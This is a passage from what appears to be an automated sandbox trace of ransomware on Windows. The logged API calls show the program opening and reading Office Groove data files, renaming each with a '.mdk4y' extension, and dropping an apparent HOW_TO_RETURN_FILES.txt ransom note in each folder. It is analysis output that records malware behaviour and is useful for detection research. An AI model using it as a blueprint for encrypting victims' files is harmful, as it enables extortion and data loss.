Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagemask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.344] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829057400000) returned 1 [0215.344] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x9d8, lpOverlapped=0x0) returned 1 [0215.352] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829058200000) returned 1 [0215.352] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829058200000) returned 1 [0215.352] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagemask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagemask.bmp.mdk4y")) returned 1 [0215.353] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.353] AreFileApisANSI () returned 1 [0215.353] GetACP () returned 0x4e4 [0215.353] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CommsOutgoingImageMaskSmall.bmp", cchWideChar=31, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="CommsOutgoingImageMaskSmall.bmp", lpUsedDefaultChar=0x37dda8) returned 31 [0215.353] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageMaskSmall.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagemasksmall.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.354] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829058400000) returned 1 [0215.354] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x630, lpOverlapped=0x0) returned 1 [0215.364] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829059400000) returned 1 [0215.364] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829059400000) returned 1 [0215.364] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageMaskSmall.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagemasksmall.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageMaskSmall.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagemasksmall.bmp.mdk4y")) returned 1 [0215.366] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.366] AreFileApisANSI () returned 1 [0215.366] GetACP () returned 0x4e4 [0215.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CommsOutgoingImageSmall.jpg", cchWideChar=27, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="CommsOutgoingImageSmall.jpg.bmp", lpUsedDefaultChar=0x37dda8) returned 27 [0215.366] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageSmall.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagesmall.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.366] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829059600000) returned 1 [0215.367] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1dd7, lpOverlapped=0x0) returned 1 [0215.374] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829060400000) returned 1 [0215.374] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829060400000) returned 1 [0215.375] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageSmall.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagesmall.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageSmall.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagesmall.jpg.mdk4y")) returned 1 [0215.376] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.376] AreFileApisANSI () returned 1 [0215.376] GetACP () returned 0x4e4 [0215.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MessageBoxIconImages.jpg", cchWideChar=24, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="MessageBoxIconImages.jpgjpg", lpUsedDefaultChar=0x37dda8) returned 24 [0215.376] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\messageboxiconimages.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.377] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829060700000) returned 1 [0215.377] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x2798, lpOverlapped=0x0) returned 1 [0215.387] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829061700000) returned 1 [0215.387] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829061700000) returned 1 [0215.388] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\messageboxiconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImages.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\messageboxiconimages.jpg.mdk4y")) returned 1 [0215.389] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.389] AreFileApisANSI () returned 1 [0215.389] GetACP () returned 0x4e4 [0215.389] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MessageBoxIconImagesMask.bmp", cchWideChar=28, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="MessageBoxIconImagesMask.bmpbmp", lpUsedDefaultChar=0x37dda8) returned 28 [0215.389] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\messageboxiconimagesmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.390] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829062000000) returned 1 [0215.390] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xc0, lpOverlapped=0x0) returned 1 [0215.391] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829062100000) returned 1 [0215.391] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829062100000) returned 1 [0215.391] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\messageboxiconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImagesMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\messageboxiconimagesmask.bmp.mdk4y")) returned 1 [0215.501] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.501] AreFileApisANSI () returned 1 [0215.501] GetACP () returned 0x4e4 [0215.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="UnreadIcon.jpg", cchWideChar=14, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="UnreadIcon.jpgImagesMask.bmp", lpUsedDefaultChar=0x37dda8) returned 14 [0215.501] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadicon.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.549] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829077900000) returned 1 [0215.549] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1fec, lpOverlapped=0x0) returned 1 [0215.550] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829078000000) returned 1 [0215.550] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829078000000) returned 1 [0215.551] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadicon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIcon.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadicon.jpg.mdk4y")) returned 1 [0215.552] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.552] AreFileApisANSI () returned 1 [0215.552] GetACP () returned 0x4e4 [0215.552] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="UnreadIconImages.jpg", cchWideChar=20, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="UnreadIconImages.jpgMask.bmp", lpUsedDefaultChar=0x37dda8) returned 20 [0215.552] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadiconimages.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.553] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829078300000) returned 1 [0215.553] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1ffe, lpOverlapped=0x0) returned 1 [0215.562] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829079200000) returned 1 [0215.562] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829079200000) returned 1 [0215.562] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadiconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIconImages.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadiconimages.jpg.mdk4y")) returned 1 [0215.563] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.563] AreFileApisANSI () returned 1 [0215.563] GetACP () returned 0x4e4 [0215.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="UnreadIconImagesMask.bmp", cchWideChar=24, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="UnreadIconImagesMask.bmp.bmp", lpUsedDefaultChar=0x37dda8) returned 24 [0215.563] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadiconimagesmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.564] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829079400000) returned 1 [0215.564] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x5a4, lpOverlapped=0x0) returned 1 [0215.568] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829079800000) returned 1 [0215.568] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829079800000) returned 1 [0215.568] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadiconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIconImagesMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadiconimagesmask.bmp.mdk4y")) returned 1 [0215.569] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 0 [0215.569] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0215.569] AreFileApisANSI () returned 1 [0215.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6c0000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 105 [0215.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.574] GetFileType (hFile=0x130) returned 0x1 [0215.575] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0215.575] AreFileApisANSI () returned 1 [0215.575] GetACP () returned 0x4e4 [0215.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Computers", cchWideChar=9, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Computersa", lpUsedDefaultChar=0x37de34) returned 9 [0215.575] AreFileApisANSI () returned 1 [0215.575] GetACP () returned 0x4e4 [0215.575] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x691c88, cbMultiByte=80, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\齨k") returned 80 [0215.576] AreFileApisANSI () returned 1 [0215.576] GetACP () returned 0x4e4 [0215.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 1 [0215.576] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.576] AreFileApisANSI () returned 1 [0215.576] GetACP () returned 0x4e4 [0215.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 2 [0215.576] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.576] AreFileApisANSI () returned 1 [0215.576] GetACP () returned 0x4e4 [0215.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="computericon.jpg", cchWideChar=16, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="computericon.jpgff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 16 [0215.576] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericon.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.577] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829080700000) returned 1 [0215.577] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xe1b, lpOverlapped=0x0) returned 1 [0215.587] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829081700000) returned 1 [0215.587] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829081700000) returned 1 [0215.587] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericon.jpg.mdk4y")) returned 1 [0215.588] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.588] AreFileApisANSI () returned 1 [0215.588] GetACP () returned 0x4e4 [0215.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="computericonMask.bmp", cchWideChar=20, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="computericonMask.bmppd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 20 [0215.588] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericonMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericonmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.589] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829081900000) returned 1 [0215.589] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x838, lpOverlapped=0x0) returned 1 [0215.600] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829083000000) returned 1 [0215.600] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829083000000) returned 1 [0215.601] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericonMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericonmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericonMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericonmask.bmp.mdk4y")) returned 1 [0215.602] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 0 [0215.602] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0215.602] AreFileApisANSI () returned 1 [0215.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6c0000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0215.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.607] GetFileType (hFile=0x130) returned 0x1 [0215.608] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0215.608] AreFileApisANSI () returned 1 [0215.608] GetACP () returned 0x4e4 [0215.608] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Discussion", cchWideChar=10, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Discussion", lpUsedDefaultChar=0x37de34) returned 10 [0215.608] AreFileApisANSI () returned 1 [0215.608] GetACP () returned 0x4e4 [0215.608] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6b9f70, cbMultiByte=81, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\7㱴瞈㲣瞈鑖瞣_") returned 81 [0215.608] AreFileApisANSI () returned 1 [0215.608] GetACP () returned 0x4e4 [0215.608] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: 